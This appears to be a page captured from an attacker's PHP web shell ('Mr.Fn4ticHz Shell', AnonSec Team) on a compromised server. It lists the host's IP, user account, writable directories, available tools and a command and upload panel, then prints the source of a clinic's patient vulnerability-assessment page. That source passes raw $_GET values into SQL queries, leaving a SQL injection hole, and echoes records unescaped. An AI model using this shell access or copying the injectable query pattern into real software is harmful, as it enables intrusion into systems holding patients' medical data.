Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.244.217
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/show_Vulnerability_Assessment.php
   <?php
  	$sql ="SELECT * FROM Vulnerability WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo"
		    <h3 align='right'><a href='edit_showpage_Vulnerability_Assessment.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>Edit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3>";
		}
		?>
		
		<table id='example2' class='table table-bordered table-hover'>
			
<?php 
		$sql ="SELECT * FROM Vulnerability WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    

<tr>
<td width='50%'>Level of Consciousness  :</td>
";
$a=$rs[Eye_Opening_Response];
$b=$rs[Best_Verbal_Response];
$c=$a+$b;

$d=$rs[Best_Motor_Response];
$e=$c+$d;
if ($rs[Level_Consciousness]=='Un-conscious') {
    
       echo"<td width='50%'><b>$rs[Level_Consciousness]</b>
   <br><b>Score :</b> <span>$e/15
   </span></td>";
    
} elseif ($rs[Level_Consciousness]=='Semi Conscious') {
   echo"<td width='50%'><b>$rs[Level_Consciousness]</b>
   <br><b>Score :</b> <span>$e/15
   </span></td>";
} else {
  echo"<td width='50%'>$rs[Level_Consciousness]  </td>";
}



		    echo "

<tr>
<td width='50%'>Dependency  :</td>
<td width='50%'>$rs[Dependency]  </td>
</tr>
<tr>
<td width='50%'>Mode of Movement  :</td>
<td width='50%'>$rs[Modn]  </td>
</tr>
<tr>
<td width='50%'>Pain Assessment :</td>
<td width='50%'>$rs[Pain_Assessment]/10  </td>
</tr>
<tr>
<td width='50%'>Pain Location :</td>
<td width='50%'>$rs[Pain_Location]  

";

if($rs[Pain_Location1]!=='')
{
   echo", $rs[Pain_Location1]"; 
}
if($rs[Pain_Location2]!=='')
{
   echo", $rs[Pain_Location2]"; 
}

if($rs[Pain_Location3]!=='')
{
   echo", $rs[Pain_Location3]"; 
}

if($rs[Pain_Location4]!=='')
{
   echo", $rs[Pain_Location4]"; 
}

if($rs[Pain_Location5]!=='')
{
   echo", $rs[Pain_Location5]"; 
}

echo"</td>
</tr>

";

if($rs[fall_risk] == 'on'){
    echo " <tr><td width='50%'>	Fall Risk: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
echo"
</table>
";
}
?>

<?php
	$sql ="SELECT * FROM Vulnerability WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[fall_risk])
{
?> 
<h3 align='center'>Fall Risk</h3>

<table id='example2' class='table table-bordered table-hover'>
<?php
  	$sql ="SELECT * FROM Vulnerability WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if($rs[low_fall_risk] == 'on'){
    echo " <tr><td width='50%'>Low fall risk: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
if($rs[implement_low] == 'on'){
    echo " <tr><td width='50%'>implement low fall risk interventions per protocol: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>implement low fall risk interventions per protocol: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Complete_paralysis] == 'on'){
    echo " <tr><td width='50%'>Complete paralysis or completely immobilized: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Complete paralysis or completely immobilized: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
} 
if($rs[high_fall_risk] == 'on'){
    echo " <tr><td width='50%'>High fall risk: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";

if($rs[History_more] == 'on'){
    echo " <tr><td width='50%'>
History of more than one fall within 6 months before admission: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>History of more than one fall within 6 months before admission: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Patient_experienced] == 'on'){
    echo " <tr><td width='50%'>
Patient has experienced a fall during the hospitalization: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Patient has experienced a fall during the hospitalization: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[deemed_high] == 'on'){
    echo " <tr><td width='50%'>
Patient is deemed high fall-risk per protocol such as seizure precaution: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Patient is deemed high fall-risk per protocol such as seizure precaution: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
} 


}
?>
<?php
}
}
?>

</table>

Anon7 - 2022
AnonSec Team